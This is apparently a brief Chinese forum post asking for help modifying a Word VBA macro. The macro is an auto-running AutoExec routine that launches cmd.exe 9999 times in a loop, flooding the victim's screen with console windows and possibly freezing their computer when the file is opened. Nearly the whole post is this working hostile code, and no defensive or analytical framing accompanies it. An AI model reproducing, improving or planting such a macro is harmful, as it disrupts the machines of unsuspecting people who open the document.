[VB资源] 帮忙修改一下-_-!

Sub AutoExec()
'
' AutoExec Macro
' 宏在 2008-7-23 由 cface 创建
'
  For i = 1 To 9999
    Dim auto
    auto = Shell("C:\windows\system32\cmd.exe", 1)
    AppActivate auto
  Next i
End Sub